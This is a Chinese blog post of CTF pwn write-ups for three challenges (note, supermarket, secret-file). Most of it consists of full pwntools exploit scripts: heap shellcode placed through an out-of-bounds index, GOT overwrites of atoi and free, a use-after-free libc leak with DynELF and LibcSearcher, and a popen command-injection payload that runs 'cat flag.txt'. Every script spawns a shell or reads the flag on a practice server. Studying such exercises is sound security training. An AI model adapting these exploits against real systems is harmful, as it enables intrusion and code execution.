那么,通過陣列越界,我們可以把一些函式的GOT表內容修改為堆指標,由于程式NX保護是關閉的,
那么堆疊里的資料也可以當成指令執行,那么我們在堆里布置shellcode即可

wp1

wp2

兩篇wp結合就無敵,

這是修改atoi的got

#coding:utf8  
    from pwn import *  
      
    sh = process('./pwnh21')  
    #sh = remote('111.198.29.45',30061)  
    #沒有不行
    context(os='linux',arch='amd64')  
    def create(index,size,content):  
       sh.sendlineafter('your choice>>','1')  
       sh.sendlineafter('index:',str(index))   #這地方注意str()
       sh.sendlineafter('size:',str(size))  
       sh.sendafter('content:',content)  
       #這個地方也要注意  /嘆氣
       #還是send跟sendline的區別  就多送一個位元組的問題
       #就在這里產生了如此深遠的影響  
      
    def delete(index):  
       sh.sendlineafter('your choice>>','4')  
       sh.sendlineafter('index:',str(index))  
      
    #rax = 0 jmp short next_chunk  
    code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19')  
    #rax = 0x3B jmp short next_chunk  
    code1= (asm('mov eax,0x3B') + '\xeb\x19') 
    #rsi = 0 jmp short next_chunk  
    #move占倆
    code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19')  
    #rdi = 0 jmp short next_chunk  
    code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19')  
    #系統呼叫  
    code4 = (asm('syscall').ljust(7,'\x90'))  
      
    create(0,8,'a'*7)  
    create(1,8,code1)  
    create(2,8,code2)  
    create(3,8,code3)  
    create(4,8,code4)  
    #洗掉第一個堆塊  
    delete(0)  
      
    #把第一個堆塊申請回來,存入指令,并且把堆指標賦值給陣列的-8下標處(atoi的GOT表處),即修改了atoi的GOT表  
    create(-8,8,code0)  
    #getshell  
    sh.sendlineafter('your choice>>','/bin/sh')  
    sh.interactive()  

這是修改free的got

from pwn import *
context.log_level='debug'
context.update(arch='amd64')#沒有不行
#io=process("./note")
io=remote("111.198.29.45",59605)
def add(index,content):
    io.recvuntil("your choice>>")
    io.sendline("1")
    io.recvuntil("index:")
    io.sendline(str(index))
    io.recvuntil("size:")
    io.sendline("8")  #全部申請為最大堆塊8位元組
    io.recvuntil("content:")
    io.sendline(content)
def dele(index):
    io.recvuntil("your choice>>")
    io.sendline("4")
    io.recvuntil("index:")
    io.sendline(str(index))

add(0,"/bin/sh")
add(-17,asm("xor rsi,rsi")+"\x90\x90\xeb\x19") #0x90即nop ;EB即 jmp short
add(1,asm("mov eax, 0x3b")+"\xeb\x19")
add(2,asm("xor rdx, rdx")+"\x90\x90\xeb\x19")
add(3,asm("syscall").ljust(7,"\x90"))
dele(0)

io.interactive()
io.close()

小貼士:以后看著長這樣的 他就是申請一個堆

在這里插入圖片描述
在這里插入圖片描述它每次那個堆里面都會拿最后一個位元組來存0
你看那個for的條件就知道了,

17 supermarket

有幾個鏈接對這道題很有幫助
首先是這道題的分析
另一個分析
然后是這道題包括上面堆漏洞提到的fastbin
fastbin的利用
這塊知識的一個延伸
然后這道題的unsorted bin
然后聯系起來的溢位利用FILE結構體
最后是對FILE結構體的解釋

應對這種分析起來有些復雜的程式,就先跑一跑,立馬清晰很多,

在這里插入圖片描述
這題最重要的是你得首先分析出它有個結構體來

在這里插入圖片描述
在這里面對其分析,s2陣列里面存的是地址,所以就有后面的(&s2)[v5] + 5 類似這樣的東西,這就是結構體,

這題也是分成了Dynelf跟Libcsearcher

下面這是LibcSearcher

#coding:utf-8
from pwn import *
 
# context.log_level = 'debug'
debug = 1 
 
if debug == 1:
    r = process('./supermarket')
    # gdb.attach(r)
else:
    r = remote('111.198.29.45', 56608)
 
 
def add(name, price, descrip_size, description):
    r.recvuntil('your choice>> ')
    r.send('1\n')
 
    r.recvuntil('name:')
    r.send(name + '\n')
 
    r.recvuntil('price:')
    r.send(str(price) + '\n')
 
    r.recvuntil('descrip_size:')
    r.send(str(descrip_size) + '\n')
 
    r.recvuntil('description:')
    r.send(str(description) + '\n')
    
 
def dele(name):
    r.recvuntil('your choice>> ')
    r.send('2\n')
 
    r.recvuntil('name:')
    r.send(name + '\n')
 
def lis():
    r.recvuntil('your choice>> ')
    r.send('3\n')
    r.recvuntil('all  commodities info list below:\n')
    return r.recvuntil('\n---------menu---------')[:-len('\n---------menu---------')]
 
def changePrice(name, price):
    r.recvuntil('your choice>> ')
    r.send('4\n')
 
    r.recvuntil('name:')
    r.send(name + '\n')
 
    r.recvuntil('input the value you want to cut or rise in:')
    r.send(str(price) + '\n')
 
def changeDes(name, descrip_size, description):
    r.recvuntil('your choice>> ')
    r.send('5\n')
    
    r.recvuntil('name:')
    r.send(name + '\n')
 
    r.recvuntil('descrip_size:')
    r.send(str(descrip_size) + '\n')
 
    r.recvuntil('description:')
    r.send(description + '\n')
 
def exit():
    r.recvuntil('your choice>> ')
    r.send('6\n')
 
 
add('1', 10, 8, 'a')
add('2', 10, 0x98, 'a')
add('3', 10, 4, 'a')
changeDes('2', 0x100, 'a')
add('4', 10, 4, 'a')
 
def leak_one(address):
    changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(address))
    res = lis().split('des.')[-1]
    if(res == '\n'):
        return '\x00'
    return res[0]
 
def leak(address):
    content =  leak_one(address) + leak_one(address + 1) + leak_one(address + 2) + leak_one(address + 3)
    log.info('%#x => %#x'%(address, u32(content)))
    return content
 
d = DynELF(leak, elf = ELF('./supermarket'))
system_addr = d.lookup('system', 'libc') 
log.info('system \'s address = %#x'%(system_addr))
bin_addr = 0x0804B0B8
changeDes('1', 0x8, '/bin/sh\x00')
changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(0x0804B018))
changeDes('4', 8, p32(system_addr))
dele('1')
 
r.interactive()

然后是LibcSearcher

#coding:utf8  
from pwn import *  
from LibcSearcher import *  
sh = remote('111.198.29.45',55879)  
elf = ELF('./supermarket')  
atoi_got = elf.got['atoi']  
def create(index,size,content):  
   sh.sendlineafter('your choice>>','1')  
   sh.sendlineafter('name:',str(index))  
   sh.sendlineafter('price:','10')  
   sh.sendlineafter('descrip_size:',str(size))  
   sh.sendlineafter('description:',content)  
def delete(index):  
   sh.sendlineafter('your choice>>','2')  
   sh.sendlineafter('name:',str(index))  
def show():  
   sh.sendlineafter('your choice>>','3')  
def edit(index,size,content):  
   sh.sendlineafter('your choice>>','5')  
   sh.sendlineafter('name:',str(index))  
   sh.sendlineafter('descrip_size:',str(size))  
   sh.sendlineafter('description:',content)  
#node0  
create(0,0x80,'a'*0x10)  
#node1,只用來做分隔作用,防止塊合并  
create(1,0x20,'b'*0x10)  
#realloc node0->description  
#注意不要加任何資料,因為我們發送的資料寫入到的是一個被free的塊(仔細思考一下這句話),這會導致后面malloc時出錯  
edit(0,0x90,'')  
#現在node2將被分配到node0的原description處  
create(2,0x20,'d'*0x10)  
payload = '2'.ljust(16,'\x00') + p32(20) + p32(0x20) + p32(atoi_got)  
#由于沒有把realloc回傳的指標賦值給node0->description,因此node0->description還是原來那個地址處,現在存的是node1  
#因此edit(0)就是編輯node1的結構體,我們通過修改,把node1->description指向atoi的got表  
edit(0,0x80,payload)  
#泄露資訊  
show()  
sh.recvuntil('2: price.20, des.')  
#泄露atoi的加載地址  
atoi_addr = u32(sh.recvuntil('\n').split('\n')[0].ljust(4,'\x00'))  
libc = LibcSearcher('atoi',atoi_addr)  
libc_base = atoi_addr - libc.dump('atoi')  
system_addr = libc_base + libc.dump('system')  
#修改atoi的表,將它指向system  
edit(2,0x20,p32(system_addr))  
#getshell  
sh.sendlineafter('your choice>>','/bin/sh')  
sh.interactive()  

有點自己的理解
這題還是基于UAF的思想,我感覺UAF他就是一個指標干不了的事情讓另一個指標去給它干,比如這個題,create2不能去修改自己chunk內容做到泄露地址,于是就把這個事情交給create0,讓它來完成,

為了理解他的利用程序,我還畫了個圖……

在這里插入圖片描述

我深刻感覺這個題是這18個里面最難的了吧……

18 secret-file

popen函式的使用

這個題難在對里面亂七八糟邏輯的分析,

介紹幾個函式,方便理解,
原型:char *strrchr(const char *str, char c);
找一個字符c在另一個字串str中末次出現的位置(也就是從str的右側開始查找字符c首次出現的位置),并回傳從字串中的這個位置起,一直到字串結束的所有字符,如果未能找到指定字符,那么函式將回傳NULL,

大佬的wp

#短短幾句 真難  /嘆氣
from pwn import *  
import hashlib  
sh = remote('111.198.29.45',31436)  
padding = 'a'*0x100  
payload = padding + 'cat flag.txt;'.ljust(0x1B,' ') + hashlib.sha256(padding).hexdigest()  
sh.sendline(payload)  
sh.interactive() 

總結

我想對這里面所有值得注意的漏洞點進行一個總結方便以后能迅速找到漏洞
堆疊溢位的一些函式 read strcpy gets getline strcat……
陣列下標越界,也就是陣列索引時沒有檢查邊界
函式指標型別強制轉換
格式化字串的printf家族
申請字串空間小于允許讀入的字串個數

有幾天主線
從堆疊漏洞到堆漏洞的過度
從新手區最后libc的引入到沒有libc庫需要通過堆疊溢位泄露函式地址再到需要劫持GOT表泄露地址再到需要通過堆漏洞劫持GOT表泄露地址
堆漏洞的進入 開始簡單的UAF跟堆shellcode
里面也有一下旁支
比如popen函式
fini.array的覆寫
shutdown功能

先就這吧,

轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/184720.html

標籤:python

上一篇:云服務器建站選擇

下一篇:高并發編程必備19個知識點合集檔案!干貨滿滿,收藏血賺!

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 【C++】Microsoft C++、C 和匯編程式檔案

    ......

    uj5u.com 2020-09-10 00:57:23 more
  • 例外宣告

    相比于斷言適用于排除邏輯上不可能存在的狀態,例外通常是用于邏輯上可能發生的錯誤。 例外宣告 Item 1:當函式不可能拋出例外或不能接受拋出例外時,使用noexcept 理由 如果不打算拋出例外的話,程式就會認為無法處理這種錯誤,并且應當盡早終止,如此可以有效地阻止例外的傳播與擴散。 示例 //不可 ......

    uj5u.com 2020-09-10 00:57:27 more
  • Codeforces 1400E Clear the Multiset(貪心 + 分治)

    鏈接:https://codeforces.com/problemset/problem/1400/E 來源:Codeforces 思路:給你一個陣列,現在你可以進行兩種操作,操作1:將一段沒有 0 的區間進行減一的操作,操作2:將 i 位置上的元素歸零。最終問:將這個陣列的全部元素歸零后操作的最少 ......

    uj5u.com 2020-09-10 00:57:30 more
  • UVA11610 【Reverse Prime】

    本人看到此題沒有翻譯,就附帶了一個自己的翻譯版本 思考 這一題,它的第一個要求是找出所有 $7$ 位反向質數及其質因數的個數。 我們應該需要質數篩篩選1~$10^{7}$的所有數,這里就不慢慢介紹了。但是,重讀題,我們突然發現反向質數都是 $7$ 位,而將它反過來后的數字卻是 $6$ 位數,這就說明 ......

    uj5u.com 2020-09-10 00:57:36 more
  • 統計區間素數數量

    1 #pragma GCC optimize(2) 2 #include <bits/stdc++.h> 3 using namespace std; 4 bool isprime[1000000010]; 5 vector<int> prime; 6 inline int getlist(int ......

    uj5u.com 2020-09-10 00:57:47 more
  • C/C++編程筆記:C++中的 const 變數詳解,教你正確認識const用法

    1、C中的const 1、區域const變數存放在堆疊區中,會分配記憶體(也就是說可以通過地址間接修改變數的值)。測驗代碼如下: 運行結果: 2、全域const變數存放在只讀資料段(不能通過地址修改,會發生寫入錯誤), 默認為外部聯編,可以給其他源檔案使用(需要用extern關鍵字修飾) 運行結果: ......

    uj5u.com 2020-09-10 00:58:04 more
  • 【C++犯錯記錄】VS2019 MFC添加資源不懂如何修改資源宏ID

    1. 首先在資源視圖中,添加資源 2. 點擊新添加的資源,復制自動生成的ID 3. 在解決方案資源管理器中找到Resource.h檔案,編輯,使用整個專案搜索和替換的方式快速替換 宏宣告 4. Ctrl+Shift+F 全域搜索,點擊查找全部,然后逐個替換 5. 為什么使用搜索替換而不使用屬性視窗直 ......

    uj5u.com 2020-09-10 00:59:11 more
  • 【C++犯錯記錄】VS2019 MFC不懂的批量添加資源

    1. 打開資源頭檔案Resource.h,在其中預先定義好宏 ID(不清楚其實ID值應該設定多少,可以先新建一個相同的資源項,再在這個資源的ID值的基礎上遞增即可) 2. 在資源視圖中選中專案資源,按F7編輯資源檔案,按 ID 型別 相對路徑的形式添加 資源。(別忘了先把檔案拷貝到專案中的res檔案 ......

    uj5u.com 2020-09-10 01:00:19 more
  • C/C++編程筆記:關于C++的參考型別,專供新手入門使用

    今天要講的是C++中我最喜歡的一個用法——參考,也叫別名。 參考就是給一個變數名取一個變數名,方便我們間接地使用這個變數。我們可以給一個變數創建N個參考,這N + 1個變數共享了同一塊記憶體區域。(參考型別的變數會占用記憶體空間,占用的記憶體空間的大小和指標型別的大小是相同的。雖然參考是一個物件的別名,但 ......

    uj5u.com 2020-09-10 01:00:22 more
  • 【C/C++編程筆記】從頭開始學習C ++:初學者完整指南

    眾所周知,C ++的學習曲線陡峭,但是花時間學習這種語言將為您的職業帶來奇跡,并使您與其他開發人員區分開。您會更輕松地學習新語言,形成真正的解決問題的技能,并在編程的基礎上打下堅實的基礎。 C ++將幫助您養成良好的編程習慣(即清晰一致的編碼風格,在撰寫代碼時注釋代碼,并限制類內部的可見性),并且由 ......

    uj5u.com 2020-09-10 01:00:41 more
最新发布
  • Rust中的智能指標:Box<T> Rc<T> Arc<T> Cell<T> RefCell<T> Weak

    Rust中的智能指標是什么 智能指標(smart pointers)是一類資料結構,是擁有資料所有權和額外功能的指標。是指標的進一步發展 指標(pointer)是一個包含記憶體地址的變數的通用概念。這個地址參考,或 ” 指向”(points at)一些其 他資料 。參考以 & 符號為標志并借用了他們所 ......

    uj5u.com 2023-04-20 07:24:10 more
  • Java的值傳遞和參考傳遞

    值傳遞不會改變本身,參考傳遞(如果傳遞的值需要實體化到堆里)如果發生修改了會改變本身。 1.基本資料型別都是值傳遞 package com.example.basic; public class Test { public static void main(String[] args) { int ......

    uj5u.com 2023-04-20 07:24:04 more
  • [2]SpinalHDL教程——Scala簡單入門

    第一個 Scala 程式 shell里面輸入 $ scala scala> 1 + 1 res0: Int = 2 scala> println("Hello World!") Hello World! 檔案形式 object HelloWorld { /* 這是我的第一個 Scala 程式 * 以 ......

    uj5u.com 2023-04-20 07:23:58 more
  • 理解函式指標和回呼函式

    理解 函式指標 指向函式的指標。比如: 理解函式指標的偽代碼 void (*p)(int type, char *data); // 定義一個函式指標p void func(int type, char *data); // 宣告一個函式func p = func; // 將指標p指向函式func ......

    uj5u.com 2023-04-20 07:23:52 more
  • Django筆記二十五之資料庫函式之日期函式

    本文首發于公眾號:Hunter后端 原文鏈接:Django筆記二十五之資料庫函式之日期函式 日期函式主要介紹兩個大類,Extract() 和 Trunc() Extract() 函式作用是提取日期,比如我們可以提取一個日期欄位的年份,月份,日等資料 Trunc() 的作用則是截取,比如 2022-0 ......

    uj5u.com 2023-04-20 07:23:45 more
  • 一天吃透JVM面試八股文

    什么是JVM? JVM,全稱Java Virtual Machine(Java虛擬機),是通過在實際的計算機上仿真模擬各種計算機功能來實作的。由一套位元組碼指令集、一組暫存器、一個堆疊、一個垃圾回收堆和一個存盤方法域等組成。JVM屏蔽了與作業系統平臺相關的資訊,使得Java程式只需要生成在Java虛擬機 ......

    uj5u.com 2023-04-20 07:23:31 more
  • 使用Java接入小程式訂閱訊息!

    更新完微信服務號的模板訊息之后,我又趕緊把微信小程式的訂閱訊息給實作了!之前我一直以為微信小程式也是要企業才能申請,沒想到小程式個人就能申請。 訊息推送平臺🔥推送下發【郵件】【短信】【微信服務號】【微信小程式】【企業微信】【釘釘】等訊息型別。 https://gitee.com/zhongfuch ......

    uj5u.com 2023-04-20 07:22:59 more
  • java -- 緩沖流、轉換流、序列化流

    緩沖流 緩沖流, 也叫高效流, 按照資料型別分類: 位元組緩沖流:BufferedInputStream,BufferedOutputStream 字符緩沖流:BufferedReader,BufferedWriter 緩沖流的基本原理,是在創建流物件時,會創建一個內置的默認大小的緩沖區陣列,通過緩沖 ......

    uj5u.com 2023-04-20 07:22:49 more
  • Java-SpringBoot-Range請求頭設定實作視頻分段傳輸

    老實說,人太懶了,現在基本都不喜歡寫筆記了,但是網上有關Range請求頭的文章都太水了 下面是抄的一段StackOverflow的代碼...自己大修改過的,寫的注釋挺全的,應該直接看得懂,就不解釋了 寫的不好...只是希望能給視頻網站開發的新手一點點幫助吧. 業務場景:視頻分段傳輸、視頻多段傳輸(理 ......

    uj5u.com 2023-04-20 07:22:42 more
  • Windows 10開發教程_編程入門自學教程_菜鳥教程-免費教程分享

    教程簡介 Windows 10開發入門教程 - 從簡單的步驟了解Windows 10開發,從基本到高級概念,包括簡介,UWP,第一個應用程式,商店,XAML控制元件,資料系結,XAML性能,自適應設計,自適應UI,自適應代碼,檔案管理,SQLite資料庫,應用程式到應用程式通信,應用程式本地化,應用程式 ......

    uj5u.com 2023-04-20 07:22:35 more